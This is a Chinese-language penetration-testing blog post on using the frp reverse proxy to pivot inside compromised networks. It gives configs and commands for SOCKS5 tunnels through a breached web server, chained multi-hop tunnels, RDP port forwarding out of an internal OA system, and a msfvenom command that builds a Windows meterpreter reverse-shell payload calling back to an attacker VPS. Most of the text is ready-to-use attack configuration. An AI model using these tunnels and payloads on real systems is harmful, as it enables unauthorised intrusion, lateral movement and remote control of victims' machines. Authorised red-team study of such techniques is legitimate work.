frp在内网渗透中的运用

admin 2022年3月30日20:03:28评论502 views字数 3059阅读10分11秒阅读模式

frp简介

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。是一款开源软件,github地址:https://github.com/fatedier/frp

frp分为服务端(frps)和客户端(frpc),客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网。frp小巧而且强大,具有诸多功能,这里我们只探讨内网渗透中的一些运用。


场景一:隧道

如下拓扑图,将we服务器作为代理,搭建黑客与数据库的socks5隧道。

frp在内网渗透中的运用

服务端

vps上起一个frp服务端,

配置frps.ini:

[common]bind_port = 7000token = shadowtest  #密码

vps上执行frp server端。

./frps -c ./frps.ini


客户端

web服务器上起一个frp客户端

配置frpc.ini:

[common]server_addr = vps-ipserver_port = 7000token = shadowtest #密码  [vps]type = tcpplugin = socks5remote_port = 4445use_encryption = true #是否加密


如上配置将web服务器的socks流量映射到vps的4445端口。web服务器成了跳板机器,打通了黑客与数据库的隧道。

web服务器执行

./frpc -c ./frpc.ini


黑客攻击机本地配置代理

vps-ip:4445

在黑客的机器上通过输入数据库的内网地址,成功访问到了数据库的http服务。

frp在内网渗透中的运用



场景二:隧道多级串联

如下拓扑图,将web服务器和数据库都作为代理,搭建黑客访问oa系统socks5隧道。

frp在内网渗透中的运用

vps配置

vps上起一个frp的服务端

frps.ini:

[common]bind_port = 7000token = shadowtest  #密码

执行:

./frps -c ./frps.ini

web服务器配置

web服务器要开一个frp客户端和一个服务端。客户端的本地端口监听4445端口,然后将4445端口监听的流量映射到vps的4445端口,完成端口转发。

服务端

服务端frps.ini的配置:

[common]bind_port = 7000token = shadowtest  #密码

执行frps

./frps -c ./frps.ini

客服端

在web服务器上添加frpc.ini的配置,这里需要注意不能添加socks5插件。

[common]server_addr = vps-ipserver_port = 7000token = shadowtest  [vps]type = tcpremote_port = 4445  #映射到vps的端口local_port = 4445    #数据库系统要连接的端口use_encryption = true

执行

./frps -c ./frps.ini

数据库系统配置

在数据库上添加frpc.ini的配置,这里需要socks5插件。这里frp客户端将数据库的socks流量映射到web服务器的4445端口,web服务器监听4445的流量并将流量转发到vps的4445端口,所以web服务器和数据库机器都成了跳板机,打通了黑客与oa系统的隧道。

[common]server_addr = WebServer-ipserver_port = 7000token = shadowtest #密码  [webserver]type = tcpplugin = socks5remote_port = 4445use_encryption = true #是否加密

执行

./frpc -c ./frpc.ini

我们还是配置黑客本地代理为vps-ip:4445

在浏览器输入oa系统的ip地址:10.37.133.4

成功访问到oa系统的http服务:

frp在内网渗透中的运用


场景三:frp代理本地msf

还是场景一的拓扑图,本地装有metasploit,通过本地的meatsploit来直接控制web服务器,而不需要将metasploit装到vps上。

局域网攻击机 <——> vps <——> 局域网靶机

frp在内网渗透中的运用

vps配置

vps启也个frp的服务端

frps.ini:

[common]bind_port = 7000token = shadowtest

启动

./frps -c ./frps.ini

本地msf配置

本机启动一个frp的客户端,监听本机5555端口的流量,并映射到vps的4445端口。

[common]server_addr = vps-ipserver_port = 7000token = shadowtest  [vps]type = tcplocal_ip = 127.0.0.1local_port = 5555  #本地监听端口remote_port = 4445 #将本地5555端口流量映射到vps4445端口

用msf生成远控,端口对应攻击机设置的remote_port

msfvenom -p windows/meterpreter/reverse_tcp lhost=vps-ip lport=4445 -f exe >  frpmsf.exe

本地攻击机监听,端口配置攻击机local_port

frp在内网渗透中的运用

靶机执行msf远控,成功接收到了meterpreter

frp在内网渗透中的运用


场景四:端口转发

如下图,将oa系统的3389端口转发出来,直接通过黑客的机器连接3389端口。

frp在内网渗透中的运用

oa系统配置

oa系统配置frp客户端,将oa系统自己的3389端口映射到数据系统的4445端口

frpc.ini:

[common]server_addr = 10.37.133.3 #数据库-ipserver_port = 7000token = shadowtest  [rdp]type = tcpremote_port = 4445local_port = 3389use_encryption = true

执行

.frp.exe -c .frpc.ini


数据库系统

数据库系统配置一个frp服务端和一个客户端,服务端用来接收oa系统的流量,客户端转发oa系统的流量。

服务端

[common]bind_port = 7000token = shadowtest

执行

./frps -c ./frps.ini

客户端

[common]server_addr = 10.37.132.5 #web服务器ipserver_port = 7000token = shadowtest  [rdp]type = tcpremote_port = 4445local_port = 4445use_encryption = true

执行

./frpc -c ./frpc.ini

web服务器配置

web服务器还是将接收到的4445端口流量转发到vps的4445端口流量。

服务端

[common]bind_port = 7000token = shadowtest  #密码

客户端

[common]server_addr = 10.37.129.8 #vps-ipserver_port = 7000token = shadowtest  [rdp]type = tcpremote_port = 4445local_port = 4445use_encryption = true

vps配置

vps启一个frps监听就好了

[common]bind_port = 7000token = shadowtest  #密码

一切都运行好后,直接访问vps-ip:4445(10.37.129.8:4445)相当于访问oa-ip:3389(10.37.133.4:3389)。

成功连上。

frp在内网渗透中的运用


原文始发于微信公众号(007攻防实验室):frp在内网渗透中的运用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日20:03:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   frp在内网渗透中的运用http://cn-sec.com/archives/854427.html

发表评论

匿名网友 填写信息